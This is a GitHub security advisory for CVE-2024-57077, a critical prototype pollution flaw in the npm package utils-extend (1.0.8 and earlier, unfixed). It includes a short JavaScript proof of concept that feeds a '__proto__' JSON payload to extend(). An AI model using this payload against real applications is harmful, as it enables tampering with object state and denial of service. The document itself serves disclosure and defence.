GitHub Advisoryadvisory · npm
GHSA-7qgg-vw88-cc99 utils-extend Prototype Pollution
CRITICAL
Official page ↗
- Aliases
- CVE-2024-57077
- Ecosystem
- npm
- Packages
- utils-extend
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Weaknesses
- CWE-1321
- Reviewed
- 2025-02-06
Affected packages
• npm utils-extend: <= 1.0.8 (no fix yet)
Description
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
PoC
```js
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();
```
Related
Alias · CVE (1)
- CVE-2024-57077 The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness